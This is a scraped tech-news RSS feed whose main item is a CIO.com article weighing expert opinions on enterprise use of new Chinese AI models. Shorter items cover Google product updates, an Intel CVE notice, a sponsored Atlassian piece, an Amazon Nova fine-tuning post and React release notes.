<p class="wp-block-paragraph">On the flipside, Bellamkonda suggested a variety of areas where enterprises should avoid Chinese AI models, including “customer-facing work without a human in the loop, regulated or sensitive data, and anything where a hallucinated answer creates legal or safety exposure. That is where the reliability gap and the political-radioactivity concern both bite, and where the closed American models still earn their premium.”</p>



<p class="wp-block-paragraph">Bellamkonda said he didn’t see the differences in data reliability, mostly involving hallucination rates, as meaningful for enterprise AI strategy decisions.</p>



<p class="wp-block-paragraph">“Every open-weight model in this class can get facts wrong or make things up. That is fixable with the right setup, so it is not a reason to avoid these models,” he said. “For high-volume tasks with clear limits, you feed the model your own trusted documents to answer from, and you keep a person checking the output. That combination is safe for production. The model on its own is not.”</p>



<h2 class="wp-block-heading">Too early for enterprises to consider</h2>



<p class="wp-block-paragraph">However, not everyone agrees that the latest Chinese models have earned their place as enterprise AI decision options. </p>



<p class="wp-block-paragraph">Cybersecurity consultant <a href="https://formergov.com/directory/brianlevine" target="_blank" rel="noreferrer noopener">Brian Levine</a>, executive director of FormerGov, focused on Chinese technology concerns when he worked for the US Justice Department as its representative in the US law enforcement Joint Liaison Group (JLG) with China. </p>



<p class="wp-block-paragraph">“It is way too early for US enterprises to seriously consider these models,” he said. “Until proven otherwise, enterprises should assume that if they use these models, they may be granting China complete access to everything they do through the models, and potentially access to their networks and employees more broadly. At this point, any pros of using such models are strongly outweighed by the potential security, confidentiality, and reliability concerns.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/tomfindling/" target="_blank" rel="noreferrer noopener">Tom Findling</a>, CEO of Conifers.ai, was equally emphatic that enterprise CIOs need to steer clear of these newer Chinese models. </p>



<p class="wp-block-paragraph">“Using them inhouse? Absolutely not. You simply don’t know what is planted inside of it and you don’t know what training data is put into them,” Findling said. </p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security, added that the very attractive pricing for these Chinese models may be appealing, but suggested that, despite the low cost, they’re ultimately too risky.</p>



<p class="wp-block-paragraph">“Enterprises should take these models seriously, but not romantically. Parameter count is horsepower measured in a showroom, not braking distance in the rain,” he said. “The real tests are reliability on your data, the cost of a wrong answer, and whether the model behaves predictably under pressure.”</p>



<p class="wp-block-paragraph">He noted that the benchmarks on the latest open-weights models are impressive, and very close to those of the frontier lab models, which makes the cost ”incredibly seductive, especially when a team does not want to risk their data being used to train those frontier models.”</p>



<p class="wp-block-paragraph">But the Chinese models can still work in specific circumstances. “The strongest value will be in bounded, reversible and inspectable work: coding inside a sandbox, multilingual translation, document triage, data extraction and other high-volume tasks where outputs can be verified,” he said. “Cheap intelligence is valuable, but only when it is not mistaken for trustworthy judgment.”</p>



<p class="wp-block-paragraph">Wilkes added that the regulatory issues surrounding Chinese models can be especially problematic. Texas, for example, has <a href="https://www.cio.com/article/4143748/top-global-and-us-ai-regulations-to-look-out-for.html" target="_blank">banned their usage</a>.  </p>



<h2 class="wp-block-heading">A rational choice for some workloads</h2>



<p class="wp-block-paragraph">However, <a href="https://www.linkedin.com/in/yurigoryunov/" target="_blank" rel="noreferrer noopener">Yuri Goryunov</a>, CIO of consulting firm Acceligence, argued that CIOs should seriously consider these models. </p>



<p class="wp-block-paragraph">“Counterintuitively, the biggest benefit of Kimi and models like it is the lack of guardrails,” Goryunov said. “Think of it as stick shift cars in the era of automatics. If you want ease and comfort, stay with the frontiers because they have cruise control, shift the gears for you and they decide when. If you want performance and control, expand your horizons. But a stick shift assumes you know how to drive one: you bring your own governance, your own evals, your own safety layer. That’s a cost and specialized talent, which is super rare, and for the right organization it’s also the whole point.”</p>



<p class="wp-block-paragraph">Goryunov’s bottom line: “For internal, high-volume, well-harnessed workloads, [the Chinese models] have moved from ‘watch list’ to ‘rational choice.’”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4199590/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications.html" target="_blank">CIO.com</a>.</em></p>
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<title><![CDATA[Google Releases 3 New Gemini Models, 3.5 Pro Still Not Available]]></title>
<description><![CDATA[The new models prioritize token efficiency and performance.]]></description>
<link>https://tsecurity.de/de/3684705/it-nachrichten/google-releases-3-new-gemini-models-35-pro-still-not-available/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684705/it-nachrichten/google-releases-3-new-gemini-models-35-pro-still-not-available/</guid>
<pubDate>Tue, 21 Jul 2026 21:21:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The new models prioritize token efficiency and performance.]]></content:encoded>
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<title><![CDATA[Redesigned Google Classroom homepage with tailored views based on user’s role]]></title>
<description><![CDATA[Soon, Google Classroom will introduce a redesigned homepage globally across all editions to help teachers, students, and administrators easily find relevant content, resources, and tools tailored to their specific roles. The updated interface transforms the homepage into a dynamic, centralized hu...]]></description>
<link>https://tsecurity.de/de/3684691/web-tipps/redesigned-google-classroom-homepage-with-tailored-views-based-on-users-role/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684691/web-tipps/redesigned-google-classroom-homepage-with-tailored-views-based-on-users-role/</guid>
<pubDate>Tue, 21 Jul 2026 21:17:35 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Soon, Google Classroom will introduce a redesigned homepage globally across all editions to help teachers, students, and administrators easily find relevant content, resources, and tools tailored to their specific roles. The updated interface transforms the homepage into a dynamic, centralized hub that more easily surfaces existing information and tools that were previously located in different areas of Classroom. Users can still access classes in the side navigation panel and a dedicated classes module on the homepage.</p><p>The new experience, which will begin rolling out on <b>July 27, 2026</b>, is personalized based on a user's role and available features:</p><p></p><ul><li><b>For teachers,</b> a new dashboard gives actionable insights, highlights student classwork interactions, tracks assignment completion, and surfaces a feature spotlight to help discover instructional tools and resources.</li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4z5Jr1F8pgnppJhAO67dlTGF8_s396SdXAfVwirKZRyDRNWel62ZKjkHhyem1myWeDm_W1EZqy9W0aXp8ag-Mhi0gcyRpcH3D9uW_T7XbpdHUodupn25qr0jOknsQ54WM6Zq8THkBpvrmz5XCK_Ujn61JDcQlssIER4Dm_R-f49Tdzq4lp7e_OWijIZE/s2048/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%201.png" imageanchor="1"><img border="0" data-original-height="2048" data-original-width="1684" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4z5Jr1F8pgnppJhAO67dlTGF8_s396SdXAfVwirKZRyDRNWel62ZKjkHhyem1myWeDm_W1EZqy9W0aXp8ag-Mhi0gcyRpcH3D9uW_T7XbpdHUodupn25qr0jOknsQ54WM6Zq8THkBpvrmz5XCK_Ujn61JDcQlssIER4Dm_R-f49Tdzq4lp7e_OWijIZE/s1600/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%201.png"></a></div><div><br></div><ul><li><b>For students,</b> a dedicated ‘Enrolled’ view reminds learners of coursework that is due soon and helps them manage their deadlines.</li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2DeMpYAsE8KjpOol-GTGgKsRfuDX_lWVbVBUuwgqjhYFPNJmrjY2PvBeYFpoD41VPtPap2B1bdgG4jy6b8-ih2SpV-A7gj2X3ak4cHe-L0Ymq0PY8DwJraldsEDBEnwasX56dzjnj_dvOSsY1RXTNFx56JvmWnRGMCBiKQVimy9Kb4JwC9F4XJ8IZwUc/s2048/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%202.png" imageanchor="1"><img border="0" data-original-height="1595" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2DeMpYAsE8KjpOol-GTGgKsRfuDX_lWVbVBUuwgqjhYFPNJmrjY2PvBeYFpoD41VPtPap2B1bdgG4jy6b8-ih2SpV-A7gj2X3ak4cHe-L0Ymq0PY8DwJraldsEDBEnwasX56dzjnj_dvOSsY1RXTNFx56JvmWnRGMCBiKQVimy9Kb4JwC9F4XJ8IZwUc/s1600/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%202.png"></a></div><div><br></div><ul><li><b>For school leaders and IT administrators, </b>the homepage provides a centralized view to monitor high-level performance analytics, access shortcuts for backend administrative settings, and discover relevant tools to support educators and staff.</li></ul><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_5pTQCpASv_YNL4r0fWvhMZJLsDay8uBJUNu3lmdHX5hVnXd2xLZ9RxGk6jOeSuqdspW4iqCa-evGdJc3zVG6vF0mA_rE1DeOsMgzGGh3xZyh5YGM-mX3LcgT4xLdXjbuex8rkHkt-YtL5KdSxJ6O-tOUmhi3jJwhwjZ5AHe3pNeKnnGHkZ_pXyJXnEA/s2048/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%203.png" imageanchor="1"><img border="0" data-original-height="2048" data-original-width="1528" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_5pTQCpASv_YNL4r0fWvhMZJLsDay8uBJUNu3lmdHX5hVnXd2xLZ9RxGk6jOeSuqdspW4iqCa-evGdJc3zVG6vF0mA_rE1DeOsMgzGGh3xZyh5YGM-mX3LcgT4xLdXjbuex8rkHkt-YtL5KdSxJ6O-tOUmhi3jJwhwjZ5AHe3pNeKnnGHkZ_pXyJXnEA/s1600/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%203.png"></a></div><p><br></p><p>Users who have multiple roles (such as a teacher taking a professional development class) can easily change their view dashboard by clicking into another role (for example, Teaching, Enrolled, or Admin). When a user loads the homepage, it returns to the previous role view.</p><p>To help users control their view and focus on what matters most to them, all new homepage modules are collapsible.</p><p><br></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMrTE36s6kLkXAffV-F1O0SzB3un4nX0Pd_lFGBuCFl2Ag9dlPY53pOSeJQQMmdn2mWYpUpSxMIN4kGLgO7NDXkiOEQz0I0cT1Bv-taqWkp5I1pmmzAcB2nonL3qz5OVwCBRpYwvpl09UCiLbnbERcpmsUontJsPtvIL2kz2SfZQCTQNVIuw3rk3Dftp0/s1800/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%204.png" imageanchor="1"><img border="0" data-original-height="1000" data-original-width="1800" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMrTE36s6kLkXAffV-F1O0SzB3un4nX0Pd_lFGBuCFl2Ag9dlPY53pOSeJQQMmdn2mWYpUpSxMIN4kGLgO7NDXkiOEQz0I0cT1Bv-taqWkp5I1pmmzAcB2nonL3qz5OVwCBRpYwvpl09UCiLbnbERcpmsUontJsPtvIL2kz2SfZQCTQNVIuw3rk3Dftp0/s1600/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%204.png"></a></div><p><br></p><p><i>Please note that not all features and views will be available to all users. Eligibility is determined by the user’s role, feature access, account type, and settings.</i></p><h3>Getting started</h3><p></p><ul><li><b>Admins: </b>There is no admin control for the new Classroom homepage. Gemini and <a href="https://blog.google/innovation-and-ai/products/gemini-notebook/notebooklm-gemini-notebook/" target="_blank">Gemini Notebook</a> features will only appear if the user is in an OU with Gemini in Classroom, Gemini app, and/or Gemini Notebook enabled. Visit the Help Center to learn about managing access to <a href="http://support.google.com/a/answer/16291887" target="_blank">Gemini in Classroom</a>, <a href="https://knowledge.workspace.google.com/admin/gemini/turn-the-gemini-app-on-or-off" target="_blank">Gemini app</a>, <a href="https://knowledge.workspace.google.com/admin/users/access/turn-notebooklm-on-or-off-for-users" target="_blank">Gemini Notebook</a>, and the option to turn these services on or off for users in the Admin console.</li><li><b>End users: </b>There is no end user setting for the new Classroom homepage. Visit the Help Center to <a href="https://support.google.com/edu/classroom/answer/17231999?hl=en&amp;ref_topic=11987016&amp;sjid=11637609375205384704-NC" target="_blank">learn more about the new Classroom homepage</a>.</li></ul><p></p><h3>Rollout pace</h3><p></p><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release and Scheduled Release domains:</a> Full rollout (1-3 days for visibility) starting July 27, 2026</li></ul><p></p><h3>Availability</h3><p></p><ul><li>Available to all Google Workspace customers, Workspace Individual subscribers, and users with personal Google accounts</li></ul><p></p><h3>Resources</h3><p></p><ul><li>Google Classroom Help: <a href="https://support.google.com/edu/classroom/answer/17231999?hl=en&amp;ref_topic=11987016&amp;sjid=11637609375205384704-NC" target="_blank">Navigate your Classroom Homepage</a></li><li>2026: What’s New in Google for Education: <a href="https://docs.google.com/presentation/d/1nJAZYHrAe-K0OOqZ3HA1-YrY6aNO5yOIV5MosOkaIOU/preview?slide=id.g3ef4e3366dc_69_1186#slide=id.g3ef4e3366dc_69_1186" target="_blank">Overview of Classroom Homepage</a></li></ul><p></p>]]></content:encoded>
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<title><![CDATA[The latest Chinese AI models may indeed work for enterprises, but only in a handful of specific applications]]></title>
<description><![CDATA[Ever since Chinese AI startup DeepSeek launched three years ago, enterprise executives have been nervous about relying on Chinese AI models. 



But now that the latest Chinese AI offerings, Alibaba’s 2.4-trillion-parameter model Qwen3.8 Max and Moonshot’s 2.8-trillion-parameter model Kimi K3, ar...]]></description>
<link>https://tsecurity.de/de/3684669/it-nachrichten/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684669/it-nachrichten/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications/</guid>
<pubDate>Tue, 21 Jul 2026 21:03:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Ever since Chinese AI startup DeepSeek launched three years ago, enterprise executives have been <a href="https://www.cio.com/article/3816301/how-would-a-potential-ban-on-deepseek-impact-enterprises.html" target="_blank">nervous about relying on Chinese AI models</a>. </p>



<p class="wp-block-paragraph">But now that the latest Chinese AI offerings, Alibaba’s 2.4-trillion-parameter model <a href="https://x.com/Alibaba_Qwen/status/2078759124914098291" target="_blank" rel="noreferrer noopener">Qwen3.8 Max</a> and Moonshot’s 2.8-trillion-parameter model <a href="https://www.kimi.com/blog/kimi-k3" target="_blank" rel="noreferrer noopener">Kimi K3</a>, are promising even more powerful performance, those IT executives are being forced to again ask if these models are worth using, even in a limited fashion.</p>



<p class="wp-block-paragraph">Former Walmart head of risk <a href="https://www.linkedin.com/in/steveneric/" target="_blank" rel="noreferrer noopener">Steven Eric Fisher</a>, now an independent cybersecurity and risk advisor, thinks they should at least take another look. </p>



<p class="wp-block-paragraph">“Enterprises should take these models seriously, but neither adopt nor reject them solely because they are Chinese,” he said. “They should be assessed like any other critical technology dependency: jurisdiction, ownership, training and software provenance, licensing, data handling, hosting, security, reliability, and the ability to independently test their behavior. Geopolitical exposure is a legitimate risk factor, but it should be incorporated into technical and supply-chain diligence rather than used as a substitute for it.”</p>



<h2 class="wp-block-heading">Choose applications with care</h2>



<p class="wp-block-paragraph">He added, “Chinese models may be especially valuable for coding, multilingual processing, high-volume document analysis, research, synthetic-data generation, and privately operated security or forensic workflows, but they should be subject to task-specific testing rather than broad benchmark claims.”</p>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, agreed that the Chinese models can work well if they are only used in carefully chosen applications. </p>



<p class="wp-block-paragraph">“Although Moonshot’s K3 still trails Claude’s Fable 5 and GPT 5.6 Sol on performance and user experience, good companies that have governance and prompt guardrails will not face the instability and improvisation of [the Chinese] models,” he said. “These models will win in usage. US frontier models are leading as the best models, but Chinese models will be sufficient for high-volume, low-drama tasks that cost less for non-critical transactions.”</p>



<p class="wp-block-paragraph">On the flipside, Bellamkonda suggested a variety of areas where enterprises should avoid Chinese AI models, including “customer-facing work without a human in the loop, regulated or sensitive data, and anything where a hallucinated answer creates legal or safety exposure. That is where the reliability gap and the political-radioactivity concern both bite, and where the closed American models still earn their premium.”</p>



<p class="wp-block-paragraph">Bellamkonda said he didn’t see the differences in data reliability, mostly involving hallucination rates, as meaningful for enterprise AI strategy decisions.</p>



<p class="wp-block-paragraph">“Every open-weight model in this class can get facts wrong or make things up. That is fixable with the right setup, so it is not a reason to avoid these models,” he said. “For high-volume tasks with clear limits, you feed the model your own trusted documents to answer from, and you keep a person checking the output. That combination is safe for production. The model on its own is not.”</p>



<h2 class="wp-block-heading">Too early for enterprises to consider</h2>



<p class="wp-block-paragraph">However, not everyone agrees that the latest Chinese models have earned their place as enterprise AI decision options. </p>



<p class="wp-block-paragraph">Cybersecurity consultant <a href="https://formergov.com/directory/brianlevine" target="_blank" rel="noreferrer noopener">Brian Levine</a>, executive director of FormerGov, focused on Chinese technology concerns when he worked for the US Justice Department as its representative in the US law enforcement Joint Liaison Group (JLG) with China. </p>



<p class="wp-block-paragraph">“It is way too early for US enterprises to seriously consider these models,” he said. “Until proven otherwise, enterprises should assume that if they use these models, they may be granting China complete access to everything they do through the models, and potentially access to their networks and employees more broadly. At this point, any pros of using such models are strongly outweighed by the potential security, confidentiality, and reliability concerns.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/tomfindling/" target="_blank" rel="noreferrer noopener">Tom Findling</a>, CEO of Conifers.ai, was equally emphatic that enterprise CIOs need to steer clear of these newer Chinese models. </p>



<p class="wp-block-paragraph">“Using them inhouse? Absolutely not. You simply don’t know what is planted inside of it and you don’t know what training data is put into them,” Findling said. </p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security, added that the very attractive pricing for these Chinese models may be appealing, but suggested that, despite the low cost, they’re ultimately too risky.</p>



<p class="wp-block-paragraph">“Enterprises should take these models seriously, but not romantically. Parameter count is horsepower measured in a showroom, not braking distance in the rain,” he said. “The real tests are reliability on your data, the cost of a wrong answer, and whether the model behaves predictably under pressure.”</p>



<p class="wp-block-paragraph">He noted that the benchmarks on the latest open-weights models are impressive, and very close to those of the frontier lab models, which makes the cost ”incredibly seductive, especially when a team does not want to risk their data being used to train those frontier models.”</p>



<p class="wp-block-paragraph">But the Chinese models can still work in specific circumstances. “The strongest value will be in bounded, reversible and inspectable work: coding inside a sandbox, multilingual translation, document triage, data extraction and other high-volume tasks where outputs can be verified,” he said. “Cheap intelligence is valuable, but only when it is not mistaken for trustworthy judgment.”</p>



<p class="wp-block-paragraph">Wilkes added that the regulatory issues surrounding Chinese models can be especially problematic. Texas, for example, has <a href="https://www.cio.com/article/4143748/top-global-and-us-ai-regulations-to-look-out-for.html" target="_blank">banned their usage</a>.  </p>



<h2 class="wp-block-heading">A rational choice for some workloads</h2>



<p class="wp-block-paragraph">However, <a href="https://www.linkedin.com/in/yurigoryunov/" target="_blank" rel="noreferrer noopener">Yuri Goryunov</a>, CIO of consulting firm Acceligence, argued that CIOs should seriously consider these models. </p>



<p class="wp-block-paragraph">“Counterintuitively, the biggest benefit of Kimi and models like it is the lack of guardrails,” Goryunov said. “Think of it as stick shift cars in the era of automatics. If you want ease and comfort, stay with the frontiers because they have cruise control, shift the gears for you and they decide when. If you want performance and control, expand your horizons. But a stick shift assumes you know how to drive one: you bring your own governance, your own evals, your own safety layer. That’s a cost and specialized talent, which is super rare, and for the right organization it’s also the whole point.”</p>



<p class="wp-block-paragraph">Goryunov’s bottom line: “For internal, high-volume, well-harnessed workloads, [the Chinese models] have moved from ‘watch list’ to ‘rational choice.’”</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Hard Drive Errors: How to Check and Fix Them in Windows]]></title>
<description><![CDATA[If you are experiencing hard drive errors such as Read / Write errors and noisy sounds, it’s time to check your hard drive because these issues may affect the overall performance of your computer. Windows comes with built-in utilities to check hard drives, and scanning your drive using the Error ...]]></description>
<link>https://tsecurity.de/de/3684575/betriebssysteme/hard-drive-errors-how-to-check-and-fix-them-in-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684575/betriebssysteme/hard-drive-errors-how-to-check-and-fix-them-in-windows/</guid>
<pubDate>Tue, 21 Jul 2026 20:03:23 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>If you are experiencing hard drive errors such as Read / Write errors and noisy sounds, it’s time to check your hard drive because these issues may affect the overall performance of your computer. Windows comes with built-in utilities to check hard drives, and scanning your drive using the Error Checking tool can help diagnose […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/windows-tips/how-to-check-your-hard-drive-for-errors-and-fix-it/">Hard Drive Errors: How to Check and Fix Them in Windows</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
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<title><![CDATA[CVE-2026-20772 | Intel Connectivity Performance Suite software installers uncontrolled search path (intel-sa-01429)]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, was found in Intel Connectivity Performance Suite software installers 2.0/40.24.11210. The impacted element is an unknown function. Executing a manipulation can lead to uncontrolled search path.

This vulnerability is handled as CVE-2026-20772...]]></description>
<link>https://tsecurity.de/de/3684517/sicherheitsluecken/cve-2026-20772-intel-connectivity-performance-suite-software-installers-uncontrolled-search-path-intel-sa-01429/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684517/sicherheitsluecken/cve-2026-20772-intel-connectivity-performance-suite-software-installers-uncontrolled-search-path-intel-sa-01429/</guid>
<pubDate>Tue, 21 Jul 2026 19:48:13 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, was found in <a href="https://vuldb.com/product/intel:connectivity_performance_suite_software_installers">Intel Connectivity Performance Suite software installers 2.0/40.24.11210</a>. The impacted element is an unknown function. Executing a manipulation can lead to uncontrolled search path.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2026-20772">CVE-2026-20772</a>. It is possible to launch the attack on the local host. There is not any exploit available.

You should upgrade the affected component.]]></content:encoded>
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<title><![CDATA[Atlassian: Research shows organizations should approach AI at the team level, not the individual level, to achieve true ROI]]></title>
<description><![CDATA[Presented by Atlassian Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at ...]]></description>
<link>https://tsecurity.de/de/3684451/it-nachrichten/atlassian-research-shows-organizations-should-approach-ai-at-the-team-level-not-the-individual-level-to-achieve-true-roi/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684451/it-nachrichten/atlassian-research-shows-organizations-should-approach-ai-at-the-team-level-not-the-individual-level-to-achieve-true-roi/</guid>
<pubDate>Tue, 21 Jul 2026 19:06:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Atlassian </i></p><hr><p>Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>.</p><p>Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.</p><p>"We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.</p><h2>Why AI speed isn’t translating into ROI</h2><p>Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.</p><p>"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.</p><p>But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.</p><p>Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.</p><p>On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it. </p><p>On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.</p><h2>How leaders can move AI from individual hack to team advantage</h2><p>Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.</p><p>"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.</p><p>Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.</p><p>To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.</p><p>The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.</p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
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<title><![CDATA[Exploring self-distilled reasoning for supervised fine-tuning with Amazon Nova]]></title>
<description><![CDATA[In this post, we explore an idea for generating thinking tokens for datasets that lack reasoning traces in SFT customization. We first examine the reasoning suppression problem, then introduce Self-Distilled Reasoning (SDR), validate it across three benchmarks, and provide practical recommendations.]]></description>
<link>https://tsecurity.de/de/3684375/ai-nachrichten/exploring-self-distilled-reasoning-for-supervised-fine-tuning-with-amazon-nova/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684375/ai-nachrichten/exploring-self-distilled-reasoning-for-supervised-fine-tuning-with-amazon-nova/</guid>
<pubDate>Tue, 21 Jul 2026 18:35:07 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post, we explore an idea for generating thinking tokens for datasets that lack reasoning traces in SFT customization. We first examine the reasoning suppression problem, then introduce Self-Distilled Reasoning (SDR), validate it across three benchmarks, and provide practical recommendations.]]></content:encoded>
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<title><![CDATA[19.0.8 (July 21st, 2026)]]></title>
<description><![CDATA[React Server Components

Performance improvements when decoding
(#37089 by @eps1lon)]]></description>
<link>https://tsecurity.de/de/3684226/downloads/1908-july-21st-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684226/downloads/1908-july-21st-2026/</guid>
<pubDate>Tue, 21 Jul 2026 17:49:31 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>React Server Components</h2>
<ul>
<li>Performance improvements when decoding<br>
(<a href="https://github.com/facebook/react/pull/37089" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/37089/hovercard">#37089</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eps1lon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eps1lon">@eps1lon</a>)</li>
</ul>]]></content:encoded>
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<title><![CDATA[19.1.9 (July 21st, 2026)]]></title>
<description><![CDATA[React Server Components

Performance improvements when decoding
(#37088 by @eps1lon)]]></description>
<link>https://tsecurity.de/de/3684225/downloads/1919-july-21st-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684225/downloads/1919-july-21st-2026/</guid>
<pubDate>Tue, 21 Jul 2026 17:49:29 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>React Server Components</h2>
<ul>
<li>Performance improvements when decoding<br>
(<a href="https://github.com/facebook/react/pull/37088" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/37088/hovercard">#37088</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eps1lon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eps1lon">@eps1lon</a>)</li>
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<title><![CDATA[19.2.8 (July 21st, 2026)]]></title>
<description><![CDATA[React Server Components

Performance improvements when decoding
(#37087 by @eps1lon)]]></description>
<link>https://tsecurity.de/de/3684224/downloads/1928-july-21st-2026/</link>
